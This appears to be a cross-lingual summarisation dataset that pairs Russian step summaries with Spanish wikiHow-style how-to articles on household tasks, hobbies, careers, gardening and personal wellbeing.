Найдите пятна от масляной краски. Выберите растворитель масляной краски. Сразу же после вымачивания постирайте одежду.

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Aunque la pintura al óleo alguna vez fue una opción popular para cualquier tipo de proyecto, en la actualidad se usa principalmente para trabajos de arte y artesanías especiales. La pintura al óleo tiende a ser más espesa y más brillante que la pintura látex y tarda mucho más tiempo en secar.  Si no estás seguro de que se trate de una mancha de pintura al óleo, fíjate que en el bote o el tubo aparezcan las palabras "pintura al óleo" o "pintura a base de aceite". Si no tienes el bote o el tubo, trata de recordar con qué limpiaste las brochas u otros materiales después de pintar. ¿Usaste agua o necesitaste un disolvente de pintura como la trementina? Si usaste trementina, esencias minerales u otro producto similar, lo más probable es que estés trabajando con pintura al óleo y por ende, puedes seguir los pasos que vienen a continuación. Para quitar una mancha de pintura al óleo, debes usar un solvente químico. Existen muchos productos disponibles en el mercado y la mancha podría requerir un limpiador en particular.  Revisa si en el bote de pintura se recomienda un limpiador. Si trabajas con pintura para artesanías especiales, busca un limpiador especial en cualquier tienda de insumos para artistas.  Si el fabricante no recomienda un limpiador específico o si no tienes tiempo para buscar y comprar un solvente recomendado, puedes usar trementina o esencias minerales en la mayoría de las manchas a base de aceite. Puedes comprar trementina destilada en cualquier tienda de pintura o de mejora del hogar. Sin embargo, nunca debes usar trementina en telas que contengan acetato, triacetato o rayón. Por eso asegúrate de revisar la información de cuidados de la prenda antes de proseguir. Retira la ropa del agua tibia, frota una última vez la zona afectada y luego lávala según las instrucciones de cuidados.


Найдите пятно.

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Al limpiar una mancha en un tapizado de microfibra, a veces el agua podría dejar otra mancha, la cual tendrás que eliminar. No obstante, al revisarla, cerciórate de que no haya ningún signo de cerveza remanente. Tendrás que cerciorarte de que la mancha de cerveza haya desaparecido antes de empezar a secar la de agua.  Observa si hay una decoloración, ya que la cerveza puede decolorar un poco la tela. También puedes oler el área para revisar si hay una mancha de cerveza. Si la mancha de cerveza sigue allí, repite el proceso para eliminar manchas en los tapizados.


Найдите работу в области ведения медицинского учета. Всегда будьте в курсе новых стандартов и правил. Во время работы будьте в контакте с медицинскими работниками.

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La mayoría de las personas que terminan trabajando desde casa en la facturación médica iniciaron con un trabajo más convencional en una clínica. Iniciar en una clínica te ayudará a probar que tienes la habilidad para trabajar en el sitio y que puedes cumplir con las responsabilidades del campo.  Ya en el trabajo, un codificador médico puede esperar a pasar tiempo gestionando y codificando datos. Los codificadores médicos no interactúan con las compañías de seguros o con los pacientes muy a menudo. Cada tarea realizada en una clínica tiene un código particular asignado y cada uno debe ser codificado apropiadamente por motivos de la facturación. El codificador convertirá las tablas médicas y registros en códigos facturables e ingresará los datos en un programa de codificación que será usado también como facturador médico. Si piensas que la facturación médica es lo tuyo, esta posición implica asegurarte que todos estén siendo facturados correctamente. Esto involucra muchas veces hablar con los pacientes y con las compañías aseguradoras para asegurar que todas las facturas sean canceladas en tiempo. Los facturadores médicos deben entender el lenguaje de la codificación para leer eficientemente las facturas médicas. La posición es perfecta para alguien que quiera tener un equilibrio entre trabajar con personas, aunque la mayoría de las veces por teléfono, y pasar tiempo gestionando las facturas y datos. Completar tu educación y certificación te dará una ventaja buena en el campo, pero redefinir las buenas prácticas, aprender métodos nuevos y evolucionar constantemente con la industria también es necesario en el campo de la facturación y codificación médica, debido a que el campo debe mantener el paso con el mundo cambiante de los suministros y procedimientos médicos. Mientras trabajes en un lugar y estés en contacto con profesionales médicos, construye tus redes de contactos lo más que puedas. Algunos de los facturadores y codificadores médicos desde casa más exitosos realizan sus labores como contratistas...


Найдите распорку в стене. При помощи уровня отметьте распорки карандашом. Просверлите направляющие отверстия для ваших креплений. Установите крепление на стену, выровняйте его согласно тем отверстиям, которые вы сделали ранее. Держа крепление к стене, вкручивайте самый большой болт в направляющее отверстие. Возьмите телевизор и повесьте его на крепеж. Убедитесь, что крепеж выдерживает вес телевизора, прежде чем его отпускать. Готово!

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Marca el centro del montante de madera en la pared. Los montantes de madera estándar son de 4 cm (1,5 pulgadas) de ancho (luego de secar y curar la tabla de 5 x 10 cm o 2 x 4 pulgadas con un corte simple). Si no ubicas los montantes de madera cuando cuelgues la pantalla plana, la televisión probablemente pese demasiado para el panel de yeso (drywall) débilmente soportado y se caiga, dejándote con una televisión y una pared dañada.  La mejor forma de encontrar los montantes de madera es con un buscador de montantes de madera electrónico, el cual puedes rentar fácilmente en tu ferretería local. Como alternativa, puedes medir 40 cm (16 pulgadas) de la esquina de la pared más cercana para encontrar un montante de madera y luego seguir midiendo cada 40 cm si tu casa está construida siguiendo la normativa. Si estás totalmente perdido acerca de dónde encontrar los montantes de madera, usa los nudillos para golpear la pared donde pienses que pueda estar uno. Un sonido hueco significa un panel de yeso, mientras que un sonido más fino significa un montante de madera. Martilla un clavo pequeño en el lugar donde pienses que has golpeado un montante de madera. Si el clavo lo atraviesa directamente, es un panel de yeso. Si tarda un momento en entrar, has golpeado un montante de madera. Necesitarás garantizar un montaje parejo y nivelado, así que tómate un poco de tiempo antes de hacer el montaje para garantizar que el producto final sea visualmente atractivo. Los agujeros guía deben ser un poco más pequeños que los pernos que vas a taladrar en ellos. Todo lo que quieres es hacer que su trabajo sea un poco más fácil. Quizás necesites otra persona para ayudarte con el siguiente paso. Puedes usar un taladro o improvisar con una llave y un dado. Comprueba que el soporte para montar está en efecto nivelado.  Corta dos agujeros en la pared si quieres ocultar los cables y evitar que se vean por debajo de la televisión.     En el medio del soporte para montar, corta un agujero cuadrado. El soporte para montar debe tener un agujero...


Найдите растворитель. Опробуйте растворитель на незаметном участке предмета одежды, чтобы убедиться, что он не портит ткань. Выверните предмет одежды наизнанку, расположив его внутренней стороной рисунка к себе. Пропитайте участок с рисунком растворителем. Выверните предмет одежды обратно на лицевую сторону и удалите рисунок. Повторяйте эти действия, пока полностью не удалите рисунок. Постирайте вещь как обычно, чтобы смыть растворитель.

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Estos son los solventes comunes que podrás encontrar en tu casa o en un supermercado. Consigue una botella que tenga suficiente líquido para remojar toda el área de ropa de la que desea quitar la impresión.  También puedes buscar un removedor especial de vinilo de transferencia de calor que esté diseñado para quitar las letras de vinilo de la ropa. Los solventes solo funcionan para quitar las impresiones de vinilo y de caucho de la ropa. La tina serigrafiada es permanente en la ropa. Dale la vuelta a la ropa o busca un área que no se vea cuando la uses. Vierte una gota o dos del solvente que vas a usar en el área oculta y espera para ver si se decolora o daña la tela de alguna manera.  Si la ropa se ve bien después de verter el solvente, entonces es seguro proceder. Si no es así, debes buscar otro solvente para usar para no arruinar tu ropa. No uses solventes en telas delicadas como el rayón, la lana o la seda. Podrás remojar la tela detrás de la impresión para quitarla del frente. Coloca la prenda al revés en una superficie plana frente a ti. Probablemente sea más fácil sentarte o pararte junto a una mesa o mostrador mientras quitar la impresión. Vierte suficiente solvente para remojar toda la parte posterior de la tela detrás de la impresión que quieres eliminar. Usa una máscara fácil si te molestan los vapores solventes.  Asegúrate de trabajar sobre una superficie que sea fácil de limpiar si accidentalmente derramas cualquier solvente. Estirar la tela para que el solvente pueda absorberse completamente puede facilitar el proceso. Solo asegúrate de no estirar la ropa tanto que la dañes o la distorsiones. Voltea la ropa hacia atrás para que la impresión quede hacia afuera. Trata de despegar la impresión con los dedos o rasparla con el filo de un cuchillo.  Ten cuidado cuando uses un cuchillo y siempre raspa lejos de ti. Puedes usar guantes de látex si no quieres que te caiga solvente en los dedos y manos. Quita tanta impresión como puedas al despegarla o rasparla. Voltea la ropa de nuevo y vierte más...


Найдите расческу с широкими зубцами. Используйте средства для волос. Разделите волосы как минимум на четыре части. Расчешите волосы. Намочите волосы, если расчесывание вызывает боль. Очистите волосы от нанесенных средств.

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Cuanto más amplio sea el hueco entre púa y púa, mejor desenredará los rizos sin deshacerlos. Elige un peine con dientes robustos para que no se rompa mientras lo utilizas. Si te cuesta deslizar el peine entre tus rizos, utiliza uno de estos tratamientos antes de desenredarte el pelo:  Si te notas el pelo demasiado graso, aplícate un champú en seco seguido de un acondicionador en seco. Si no tienes el pelo graso, pero te cuesta cepillártelo, utiliza un espray desenredante, aceite de coco o aceite de oliva. Divide tu pelo en una sección frontal a la derecha, una sección posterior a la derecha, una sección frontal a la izquierda y una sección posterior a la izquierda, y sujeta cada parte con una pinza. Divide cada una de estas secciones por la mitad si tienes el pelo muy grueso o abundante. Péinate cada sección con movimientos descendentes. Empieza cerca de las puntas, deshaciendo los nudos antes de seguir trabajando hacia arriba. Ten cuidado de no insistir con fuerza si el peine se atasca en un nudo, ya que podrías dañar el pelo desde la raíz. Si el peine se queda atrapado, deshaz el nudo con los dedos y vuelve a probar. A veces, resulta más fácil y menos doloroso peinar el pelo húmedo, pero también hay mayor riesgo de rotura cuando no está seco. Si tienes el cuero cabelludo sensible, mójate el pelo y prueba otra vez. Para un resultado óptimo, prueba este método:  Mójate el pelo y aplícate acondicionador. Deja que el producto actúe durante una hora. Enjuágate para eliminar los restos de acondicionador. Sécate el pelo dando toques suaves con una toalla de microfibra o una camiseta de algodón. No utilices una toalla común, ya que, en combinación con el champú en seco, causará encrespamiento. Si has tratado tu pelo con aceite, elimina los restos aplicándote champú en seco.


Найдите резинку.

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Puedes tener alguna en tu casa, pero si no es así, cómprala en una tienda de tu localidad.


Найдите резистор на 100 Ом с точностью 1 %. Подсоедините катушку индуктивности к резистору последовательно. Подключите к цепи функциональный генератор и осциллограф. Пропустите через цепь ток с помощью функционального генератора. Следите за входным напряжением и напряжением на резисторе на дисплее. Найдите частоту тока функционального генератора. Рассчитайте индуктивность по формуле.

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Los reóstatos cuentan con bandas de colores que pueden ayudarte a distinguirlos. Un reóstato de 100 ohmios contará con una banda marrón, negra y marrón. La banda final en el otro extremo también será marrón para representar el 1 % de resistencia. Si tienes muchos reóstatos para escoger, debes decidirte por uno que presente un valor de resistencia conocido. Los reóstatos se etiquetan cuando son nuevos, pero pueden ser fáciles de confundir una vez que se encuentran fuera del empaque. Siempre debes probar la inductancia utilizando un reóstato con el que estés familiarizado para asegurarte de conseguir un resultado preciso. En serie significa que la corriente atraviesa la bobina una tras otra. Comienza a configurar un circuito colocando la bobina y el reóstato una al lado del otro. Asegúrate de que hagan contacto con una terminal. Para finalizar el circuito, también debes hacer que los cables de alimentación toquen los extremos expuestos del reóstato y el inductor.  Compra cables de alimentación en una ferretería o a través de internet. Por lo general, serán rojos y negros para que puedas distinguirlos con facilidad. Toca el cable rojo con el extremo expuesto del reóstato y el cable negro con el extremo opuesto del inductor. Si aún no cuentas con uno, considera conseguir una placa de prueba. Los agujeros en el tablero ayudan mucho a conectar los cables y los componentes. Toma los cables de salida del generador de funciones y conéctalos al osciloscopio. Luego, enciende ambos dispositivos para asegurarte de que estén funcionando. Una vez que ambos estén encendidos, toma el cable de salida rojo del generador de funciones y conéctalo al cable de alimentación rojo en tu circuito. Conecta el cable de entrada negro del osciloscopio al cable negro en el circuito.  Un generador de funciones es un equipo de prueba eléctrica que envía ondas eléctricas a través del circuito y te permite controlar la señal que se mueve a través de la bobina para que puedas calcular con precisión la inductancia. El osciloscopio se utiliza para...


Найдите ресурсы. Сходите на прием к врачу. Проконсультируйтесь со специалистом.

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Puedes encontrar inspiración en las historias eróticas (por ejemplo, muchas mujeres se excitan con la película 50 Sombras de Grey), pero también es una buena idea consultar algunos manuales instructivos acerca de cómo mejorar tu vida sexual. Busca libros escritos por expertos en sexo. También puede ser útil buscar recursos que estén orientados hacia casos en particular, como materiales disponibles para personas LGBT, de edad avanzada, etc. La Asociación Americana para la Terapia Matrimonial y Familiar (American Association for Marriage and Family Therapy) recomienda la serie de videos “Better Sex” (mejor sexo) del Instituto Sinclair. Algunas causas de la disfunción sexual tienen orígenes médicos, sobre todo en el caso de los hombres. Por ejemplo, la disfunción eréctil se produce comúnmente a causa de condiciones tales como enfermedades cardiacas, presión arterial alta u obesidad, aunque el estrés también puede causarlo. Si experimentas problemas físicos que interfieren con tu vida sexual, habla con tu médico. Muchas de las condiciones que causan disfunción sexual son muy tratables. No sientas vergüenza de acudir al médico, pues los problemas sexuales son muy comunes y tu médico probablemente lidie con ellos todo el tiempo. A veces, una pareja tiene problemas con su vida sexual que parecen no poder resolver por su cuenta. Esto es perfectamente natural. Si sigues teniendo problemas sexuales, acudir a un terapeuta de pareja que se especialice en la terapia sexual puede ser de utilidad. Un terapeuta sexual (o un terapeuta de parejas con formación en terapia sexual) sabe qué clases de preguntas hacer para ayudarle a la pareja a descubrir qué podría causar los problemas en la cama. Puede ser sumamente embarazoso hablar con un extraño sobre tu vida sexual, pero los terapeutas sexuales se rigen por las mismas reglas de confidencialidad que todos los profesionales en la salud mental. Estos profesionales están ahí para ayudarte y no te juzgarán o le contarán tus problemas a alguien más.


Найдите рычаг. Сдвиньте рычаг в положение для сброса. Измените комбинацию. Закройте замок, выставив случайное число.

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La palanca puede estar adentro de la maleta. También es posible que esté en la parte exterior, cerca de las ruedas de combinación. De cualquier modo, deberás saber la combinación del candado para abrirlo y liberar las cremalleras. Para hacer este cambio, la palanca debe estar en la posición usada para establecer la combinación. En general, simplemente debes deslizar la palanca hasta la segunda posición. Ingresa la nueva combinación en el candado. Asegúrate de que sea una combinación que recordarás y ajusta las ruedas para obtener la combinación correcta. Gira cada rueda hacia el número deseado. Empuja la palanca de nuevo a la primera posición. Verifica que cambiaste correctamente la combinación al cambiar los números de forma aleatoria y luego ingresar la combinación que acabas de usar para ver si se abre. Una vez que hayas determinado que el candado se abrirá nuevamente, cambia los números de nuevo de forma aleatoria para terminar de cerrar la maleta con el candado.


Найдите свое дело. Танцуйте. Проявите свое творческое начало. Занимайтесь спортом. Уделяйте больше внимания смеху.

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Encontrar algo que te apasione y permitirte incorporar dicha pasión a tu vida puede ayudarte a sentirte más feliz y con más confianza. Encuentra tu pasión reflexionando en tus intereses, identificando lo que te hace perder la noción del tiempo y pensando en las cosas que amabas hacer de niño. Una vez que hayas encontrado una pasión, trabaja en ella. Si piensas en la pasión como un músculo que necesita trabajar para fortalecerse y no como un objeto o una cosa que encuentras, desarrollarás tu pasión con más efectividad. Bailar puede ayudarte a tomar posesión de tu cuerpo, soltarte y sentirte cómodo con quien eres. Varios tipos de baile en grupos de personas enormemente diferentes han mostrado consistentemente más felicidad y menos estrés. Esto puede traducirse en un aumento de confianza. ¿No estás seguro de por dónde empezar? Inscríbete en una clase de danza para principiantes. ¿No te gustan las clases? Cierra las cortinas, sube el volumen de la música y ten una fiesta de baile en solitario en tu casa. ¿Necesitas guía en tu casa? Consigue un DVD de ejercicios de danza o encuentra un video en YouTube de una clase de danza para principiantes. Ser creativo puede ayudarte a mejorar tu autoestima, sentir sentimientos que no sabías que tenías y sentirte bien respecto a lo que tienes que ofrecer al mundo. Aunque se requiere confianza para aprovechar la creatividad, la creatividad también aumenta tu confianza. Incluso si no crees que eres el tipo creativo, es posible que termines sorprendiéndote. Escribe un poema. Consigue algunos lápices de colores y bosqueja un paisaje. Toma una clase de cerámica. Toma una clase de movimiento interpretativo. Prueba la composición. Haz algo completamente fuera de tu zona de comodidad y mira lo que consigues. Ser creativo te ayudará a ver el mundo de una nueva forma y hará que te sientas más cómodo con quien eres. Haz tiempo para la creatividad en tu vida. Si estás atascado en un ciclo de dormir, trabajar, hacer quehaceres del hogar y repetir, es poco probable que te sientas realizado....


Найдите свою нишу. В качестве теста попытайтесь продать небольшую партию товара. Подготовьте бизнес-план. Зарегистрируйтесь как предприниматель.

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Saber qué producto quieres vender solo es parte de crear una tienda virtual exitosa. Necesitarás descubrir qué diferencia tus servicios de todos los otros servicios similares que las personas pueden elegir, tanto personalmente como en línea. ¿Por qué un cliente debe comprar tus suéteres tejidos a mano cuando tienen otras 100 tiendas virtuales de donde elegir?   Evalúa la competencia. No solo te metas a vender cierta línea de productos hasta que hayas visto todas las páginas web contra las que competirás. Considera los principales mercados virtuales en donde planeas promocionar tus productos y echa un vistazo a la competencia en dichos portales. Ofrece algo verdaderamente original. Si estás vendiendo artesanías hechas a mano u obras de arte, la originalidad de tu trabajo podría ser el imán que diferencie a tu producto. Trata de encontrar un equilibrio entre algo altamente original y que también tenga un atractivo general. Ofrece experiencia. Tal vez la calidad que diferencie a tu empresa del resto será tu experiencia en el tipo de producto que estés vendiendo. Por ejemplo, tal vez eres un ex jugador profesional de béisbol vendiendo una línea de guantes de béisbol. Haz que tu pasión y tu conocimientos especializados sean parte del paquete. Ofrece un proceso de compra fácil de usar para los usuarios. Incluso si tu producto es muy similar a otras cosas en venta en línea, puedes diferenciar tu tienda haciendo que la experiencia de compra sea divertida y fácil. Asegúrate de que tu página web sea fácil de navegar y divertida para compartir. Sé receptivo y provee un buen servicio al cliente donde los demás no lo hacen. En el mundo real, sería sabio intentar vender tus productos a través de otras vías de bajo compromiso (consignación, mercados de pulgas, exposiciones de artesanías, etc.) antes de dar el próximo paso y comenzar toda una tienda. Lo mismo se aplica para las ventas en línea. Trata de vender tus artículos individualmente en eBay, Craigslist, Half.com y similares. Esto es lo que deberías buscar:  ¿Quién...


Найдите себе хобби. Обратитесь за психиатрической помощью. Используйте интернет для того, чтобы улучшить свою реальную жизнь.

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La mayoría de las veces, una computadora es la forma principal de relajación de las personas. Si has caído en la rutina en cuanto a las actividades recreativas, trata de adoptar algunos pasatiempos nuevos para combatir el uso excesivo de Internet.  Si deseas hacer algo en casa después del trabajo, invierte en crucigramas, libros de sudoku, juegos de mesa y cartas. Si vives con un compañero de habitación, un familiar o una pareja, proponle una noche de juego semanal. Establece días o periodos de tiempo libres de Internet y emplea ese tiempo para hacer otras actividades. A menudo, salir al aire libre puede ayudar a reducir el uso de Internet. Trata de salir a caminar los fines de semana o a trotar después del trabajo. Si eres del tipo de personas que leen mucho en línea, considera la posibilidad de comprar libros físicos y de suscribirte a revistas relacionadas con tus intereses. La lectura nocturna puede ayudar a que te relajes de la computadora. El uso excesivo de Internet algunas veces se asocia con trastornos preexistentes como la depresión y la ansiedad. Además, es posible que sufras de adicción a Internet o a la computadora.  Conoce los síntomas de los trastornos psiquiátricos. ¿Tiene una tristeza, un vacío o un letargo persistentes? ¿Experimentas sentimientos de culpa o de insignificancia? ¿Tienes problemas para tomar decisiones y cumplir con los plazos debido a estos sentimientos? ¿Has tenido efectos secundarios físicos, como pérdida o aumento de peso, insomnio, dolores de cabeza y problemas digestivos?  ¿Usas Internet o la computadora para evitar o combatir estos sentimientos? ¿Experimentas sentimientos de euforia cuando te conectas a Internet que alivian temporalmente los estados de ánimo negativos?  Puedes encontrar un psiquiatra visitando el sitio web de tu proveedor de seguros y viendo los lugares en los que se acepte tu plan. Si eres un estudiante, generalmente podrás obtener asesoramiento gratuito por medio de la universidad. Sé paciente. Puede tomar un tiempo encontrar el consejero adecuado y,...


Найдите себя. Разберитесь в том, что вызывает у вас страх или тревожность. Подумайте о худшем сценарии развития событий. Потренируйтесь выражать свои чувства и говорить о них. Когда вас охватит застенчивость, начните выполнять дыхательные упражнения. Общайтесь с людьми в группах. Говорите о том, что чувствуете.

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Antes de poder empezar realmente a superar la timidez durante interacciones sociales, es importante que encuentres tu propia voz, identificándote como una persona única.  Identifica las cosas que te apasionen o que te hagan único. Escribe un diario para expresarte, y haz observaciones sobre las ideas y elementos recurrentes en tus anotaciones. Exprésate de forma creativa. Escribe historias, poemas o canciones, pinta o dibuja, haz fotografías, o toca algún instrumento musical. Aunque la timidez sea una cualidad personal, siempre hay algo que la potencia o desencadena. Tómate el tiempo que sea necesario para identificar cuál es el detonante de tu timidez.  ¿Es el miedo al rechazo? ¿Temes ofender a los demás? ¿Te asusta pedir algo para tu propio beneficio, como podría ser un ascenso en el trabajo? ¿Se trata de miedo a la humillación? ¿Te dan miedo las críticas? ¿Solo eres tímido con una persona en particular? ¿Por qué? Piensa en cómo sería la situación en el peor de los casos que pudiera darse durante cualquier interacción social que te cause ansiedad.  ¿Qué harás si se da el peor de los casos y te ves en esa situación temida? ¿Cómo superarás el miedo? ¿Cómo puedes evitar que se dé el peor de los casos que imaginas? ¿Quién sería el culpable de esa situación tan incómoda? No es raro que la gente practique cómo hablar o comportarse en contextos sociales. Con la práctica, ganarás seguridad.  Pídele a un familiar o un amigo cercano que practique contigo. Practica por tu cuenta frente al espejo para poder ver tus propias expresiones faciales. Escribe lo que quieras decir, como si fuera un guion, y ensáyalo. Fíjate en los personajes de las películas y de los libros para analizar cómo superan ellos su ansiedad social. Prepárate para controlar la ansiedad o la timidez practicando algún ejercicio de respiración. Este método te ayudará a tranquilizarte y a volver a concentrarte en tu tarea, que es expresar tus verdaderos sentimientos.  Técnica de relajación: inhala en cuatro cuentas a través de la nariz. Después, retén el...


Найдите силу тока (I), коэффициент полезного действия (КПД) и напряжение (V) для электродвигателя. Используя формулу (V * I * КПД)/746=HP, определите мощность электродвигателя в лошадиных силах.

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El voltaje del motor se expresa en voltios, la corriente en amperios y la eficiencia como un porcentaje. El motor debe contar con estas unidades de medición adjuntas. (V*I*EFF)/746=HP, determina los caballos de fuerza de tu motor eléctrico. Multiplica el voltaje, la corriente y la eficiencia, después divide el producto entre 746. Por ejemplo, los caballos de fuerza de un motor de 230 V consumiendo 4 A y con una eficiencia de 82 % sería equivalente a 1 caballo de fuerza. Convierte la eficiencia a un número decimal antes de hacer el cálculo. Por ejemplo, una eficiencia de 82 % es igual a 0,82.


Найдите скраб для губ. Насухо промокните губы.

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El exfoliante labial te ayudará a arrastrar las células muertas para que tus labios queden más lisos y carnosos. De esta forma, aplicar el tinte labial será mucho más sencillo. Si no tienes un exfoliante labial en casa o no tienes tiempo de ir a comprar uno, puedes hacerlo mezclando una parte de miel, una parte de azúcar (blanco o moreno) y una parte de aceite (de almendra, coco, jojoba u oliva) en un platillo pequeño. Solo debes utilizar exfoliante labial puntualmente y cuando sea necesario. Es estupendo para arrastrar células muertas y piel descamada, pero su uso excesivo puede dañar los tejidos tan delicados que cubren los labios. Agarra una toalla suave y sécate los labios dando toquecitos. Ya estás lista para empezar a aplicarte el tinte labial.


Найдите слабое место человека. Слушайте спокойно и смейтесь. Дождитесь подходящего момента. Ведите себя так, как будто ваше оскорбление — вовсе не оскорбление. Рассмотрите тактику бойкота.

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¿Especialmente de qué se enorgullece la persona a la cual tratas de responderle la mofa? ¿Sobre qué cosas se avergonzaban? Darse cuenta de esos puntos débiles es una buena manera de planificar de antemano respuestas ante mofas ya que puedes utilizarlas a tu favor. Escoge los puntos en los cuales esa persona se enorgullece.  Si esa persona que te toma el pelo está siempre bien vestida, o parece estar orgullosa de sus zapatillas Nike, recuerda qué tipo de ropa usa usualmente para vestirse y prepara insultos relacionados con su vestimenta. Si esa persona es un muy buen estudiante o muy mal estudiante, insultar sus calificaciones o su inteligencia puede ser una buena manera de afectarlo. Los deportes usualmente son importantes en la escuela. Si te está faltado el respeto un atleta, considera criticar y ser exigente con su esquivamiento en baloncesto o con sus lanzamientos errados hacia la cesta. Esos actos de desprecio y mofa podrán hacerte enojar, así que trata de no mostrar expresión alguna. Cuando te insulten, deberías actuar como si eso no te ofendiera en absoluto, no importa lo que digan. Ríe para ti y no dejes que esos insultos te afecten. Si ves que tu atormentador viene a ti, piensa en algo más que podrías decir por adelantado para evitar escucharlo. Concéntrate en una característica llamativa, como la nariz o la oreja de esa persona para distraerte mientras habla. Si tiene un grano, míralo fijamente. Incluso podría hacerte reír. Entrar en un duelo de insultos con una persona que sabe muy bien cómo ofender es probablemente una mala idea. Si mantienes la calma cuando te insulte al principio, tienes todo a tu favor y puedes esperar el momento oportuno para decir tu mofa bien planificada.  Si vas a usar la táctica de la ropa, espera hasta que esté usando alguna ropa nueva y elegante, dile que te gusta su camisa nueva, antes de decir: "El chico que recoge la basura fuera de mi casa, viste lo mismo." Espera hasta la clase de gimnasia para insultar sus habilidades atléticas. Si tropieza o se cae, empieza por...


Найдите солнечное место для посадки огурцов. Очистите участок от сорняков. Добейтесь, чтобы уровень pH почвы был как можно ближе к 7,0. Подмешайте в почву гранулированное удобрение. Добавьте органический материал, чтобы улучшить качество почвы.

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Estos son una verdura tropical y les encanta mucha luz solar directa. Elige una ubicación donde no estén muy protegidos del sol de la tarde.  Dado que sus raíces alcanzan una profundidad de 90 a 120 cm (36 a 48 pulgadas), no los plantes cerca de los árboles. Las raíces de estos últimos competirán con los pepinos por agua y nutrientes.  La cantidad de plantas que puedes cultivar dependerá del tamaño de tu espacio. Debes separar las enredaderas a una distancia de 90 a 150 cm (36 a 60 pulgadas). Si las cultivas de forma vertical, deja 30 cm (12 pulgadas) de espacio entre los enrejados. Es indispensable cultivar el pepino en una zona libre de maleza. La maleza agota los nutrientes y el agua de la tierra, lo que lo mata de hambre. Puedes dejar esquejes pequeños de maleza en la tierra para hacer fertilizante.  Para resultados óptimos, arranca la maleza con la mano, sacando la mayor cantidad posible de raíz. Si dejas la raíz de la maleza, la misma maleza volverá a crecer. Evita utilizar herbicidas como una solución rápida. Tanto los herbicidas químicos como los orgánicos vuelven la tierra inservible para el cultivo de plantas en general, así que el pepino también resultará dañado. El pepino se desarrolla en una tierra con un pH neutro o ligeramente alcalino. Puedes comprar un kit de medición de pH en los centros de suministros de jardinería o en las ferreterías. Añade a la tierra cal agrícola para aumentar su nivel de pH. Añade azufre o sulfato de aluminio si quieres disminuirlo. Si utilizas un fertilizante inorgánico, uno granulado de liberación lenta será el mejor alimento para el pepino a lo largo del ciclo de crecimiento. Corta y suelta la tierra con una paleta o un rastrillo pequeño antes de añadir el fertilizante para permitirle mezclarse bien con la tierra. Si prefieres un fertilizante natural, utiliza composta rica o estiércol maduro. Incorpóralos a la tierra a 5 cm (2 pulgadas) de profundidad, luego córtalos y hazlos penetrar poco a poco hasta 15 a 20 cm (6 a 8 pulgadas) de profundidad. La tierra ideal para...


Найдите солнечное сухое место. Набросайте примерный план цветочных клумб.

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Los bulbos necesitarán abundante luz solar para florecer, aunque algunos (como los tulipanes) deben recibir protección contra el calor pleno del sol cerca del mediodía. Revisa el paquete de semillas para saber si hay otras condiciones de luz solar que los bulbos puedan necesitar.  Si los bulbos necesitan protección del sol durante la parte más calurosa del día, compra una malla sombra para colgarla sobre el jardín. También puedes hacer tu propia malla sombra para jardín colocando una sábana de color claro sobre tu jardín.  Los bulbos empezarán a florecer antes que crezcan nuevas hojas de árboles en primavera, así que las zonas con sombra debajo de los árboles pueden funcionar muy bien. Evita las zonas a la sombra de tu casa u otro edificio. ¿Quieres colocar colores particulares intercalados, como un patrón de arcoíris o de bandera? ¿Deseas un despliegue de tulipanes junto a tu buzón o una hilera curva de narcisos a lo largo de un sendero de piedra? Utiliza un lápiz y papel para diseñar un patrón antes de empezar a colocar los bulbos.


Найдите сразу несколько газонов. Отличным способом заработать деньги в летние месяцы является покос газонов. В конце лета и начале осени косить газоны больше не нужно, но вашим клиентам понадобятся другие услуги – убирать листья и подстригать кустарники. Зимой вы можете убирать снег. Весной вы можете чистить водосточные желоба (которые забиваются зимой). В сельских районах фермеры и садоводы нанимают детей для помощи в сборе урожая.

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Si puedes podar tu propio césped y todos los que rodeen la casa de tus padres, estás en buena forma. Puedes podar todos los céspedes a la vez, quitar todas las hojas y cuidar los jardines al mismo tiempo. Será como un día largo de trabajo en el que te pagarán varias veces.  Si no vives en algún lugar que tenga muchos jardines, aún puedes hacer ello. Solo ve a un vecindario que tenga tantos jardines como sean posibles en el mismo vecindario. Mientras más cerca estén los jardines, más fácil será hacer el trabajo. Los vecinos ancianos serán los más dispuestos a contratar jóvenes para hacer ello. . Una buena manera de ganar dinero durante los meses de verano es pedir a los vecinos que te permitan podar sus céspedes. Podar el césped puede ser un problema serio y puedes ganar un buen dinero al hacerlo en tu tiempo libre.  Si no tienes acceso a la podadora, pídele a tus padres que te presten dinero para los costos del equipo. Pide una podadora antigua como regalo de cumpleaños.  En algunos casos, las personas pueden querer que uses sus equipos, si están disponibles. Si puedes usar sus podadoras será mucho mejor. Separa algo de dinero para los materiales. Si podas céspedes, tendrás que pagar para tener el tanque lleno de combustible y listo para funcionar. O pregunta si tus padres pueden ayudarte a pagar el combustible. . A finales de verano y a principios de otoño, empezarás a podar cada vez menos, pero tus clientes necesitarán que se hagan otras cosas en el jardín. Prepárate para recoger las hojas, ponerlas en una bolsa y limpiar el jardín de otros deshechos, como bellotas, ramas y piñas. Para este trabajo, todo lo que necesitas es un rastrillo fuerte y algunas bolsas para las hojas. En algunos casos, quizás ni siquiera necesites las bolsas. Barato, ligero y fácil. . Cuando venga el invierno, el negocio de podador puede decaer. Pero, en muchas regiones se necesitará de alguien que se encargue de la nieve. No dejes de trabajar cuando empiece el frío. Obtén una buena pala de nieve y ofrece palear las entradas de los...


Найдите студию боевых искусств недалеко от своего дома. Найдите доступную по цене школу. Посетите занятие. Решите, подходит ли вам метод преподавания. Оцените учеников. Проверьте квалификацию инструктора. Выберите школу, которая подходит под ваше расписание. Присоединитесь к школе единоборств и начните заниматься.

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En la mayoría de casos, terminarás con una forma de arte marcial según lo que esté disponible en tu zona. Si ir a tu Dojo te resulta difícil o te consume tiempo, entonces simplemente tendrás una excusa más para no continuar. Busca en línea y en el directorio telefónico para encontrar estudios de artes marciales. No es común que las escuelas de artes marciales publiquen sus precios de enseñanza en el directorio telefónico. Los precios pueden determinarse sobre una base mensual, de varios meses o según tu frecuencia de entrenamiento semanal. En algunos casos, el precio es negociable dependiendo de cuántas personas tomen las clases contigo (por ejemplo, en familia, acuerdo de paquetes). Existen instructores que cobran poco al mes por la enseñanza, mientras que hay otros que cobran más dinero por una sesión de una hora. Depende de ti determinar un precio justo y manejable por la enseñanza. Después de investigar un poco, sabrás quién pide demasiado. Otra buena manera de ahorrar dinero es buscar clases que no se presenten solo con la fachada. Existen muchas escuelas exitosas que funcionan en centros comunales, sótanos de iglesias, salones de YMCA y de recreación. Simplemente porque una escuela no tenga una fachada bonita no significa que la calidad de la enseñanza sea inferior. Llama y pregunta acerca de los periodos de prueba, la vestimenta requerida y las tarifas por membresía o clase. Busca 